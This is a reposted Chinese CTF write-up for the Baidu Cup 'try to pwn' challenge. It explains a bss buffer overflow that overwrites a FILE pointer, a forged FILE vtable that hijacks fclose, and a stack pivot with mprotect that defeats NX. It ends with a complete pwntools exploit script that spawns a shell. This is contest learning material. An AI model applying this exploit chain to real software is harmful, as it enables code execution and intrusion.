第一届百度杯线上初赛 - try to pwn
程序员文章站
2022-05-14 08:05:27
...
第一届百度杯线上初赛 - try to pwn
题目涉及:
- 伪造文件流(FILE Stream)
- 调整栈帧(stack pivot)
源码分析
题目给的是一个32位静态编译的程序,保护开启情况如图:
程序的大概业务流程是打开名为输入名称+随机数文件的随机内容
的文件,然后可以读取并输出这个文件的内容。
在 welcome 函数读入用户名时,没有限制输入长度,存在缓冲区溢出。
变量 x 位于 bss 段,文件指针 dword_80EFA00 也位于 bss 段,与 x 位置关系如图:
存储控制 x 输入内容,可以覆写文件指针 dword_80EFA00。程序最后调用了 fclose ,所以可以更改虚表指针来劫持控制流。
根据FILE结构,在 bss 段伪造出一个类似的结构,然后控制FILE里面的函数指针,执行任意代码。例如:执行fclose(fileexample)
相当于调用 fileexample 这个文件(file)结构体虚表结构的 close 函数指针。
成功劫持文件流后,有一次调用机会(顺序执行一遍代码)。题目开启了 NX 保护,不能执行栈上 shellcode 。采取的解决办法是:先调整栈帧、扩充栈空间,使用 mprotect 函数改权限,让新的栈空间有可执行权限。
#include <unistd.h>
#include <sys/mmap.h>
int mprotect(const void *start, size_t len, int prot);
代码实现
mprotect 地址是用 gdb 加载程序后,print mprotect 查到。(无PIE)
from pwn import *
context.log_level = 'debug'
p = process('./fake')
#p = remote("106.75.2.53",10007)
mprotect_addr = 0x08071fd0
# ROPgadget --binary fake --only "pop|ret"
pop_esp_ret = 0x080e2b6d
# ROPgadget --binary fake --only "xchg|ret"
xchg_esp_eax_ret = 0x08048f66
payload = 'a' * 32 # fill up x
payload += p32(0x080efa00 + 4) # FILE Pointer point to fake file
payload += p32(0xffffffff) * (148 / 4) # fake file
payload += p32(0x080efa00 + 156) # fake file ending & point to gadget
payload += p32(pop_esp_ret)
payload += p32(0x080efa00 + 200) # stack pivot to enlarge 200
payload += p32(xchg_esp_eax_ret)
fill_up = 200 - len(payload) + 32
payload += 'b' * fill_up
payload += p32(mprotect_addr) # call mprotect
payload += p32(0x080efa00 + 200 + 20) # ret to shellcode
payload += p32(0x080ef000) # argv 1
payload += p32(1024) # argv 2
payload += p32(7) # argv 3
payload += encoders.encoder.line(asm(shellcraft.sh())) # shellcode
# send name(payload)
p.recvuntil("name?")
p.sendline(payload)
# exit to run fclose
p.recvuntil(">")
p.sendline("3")
p.interactive()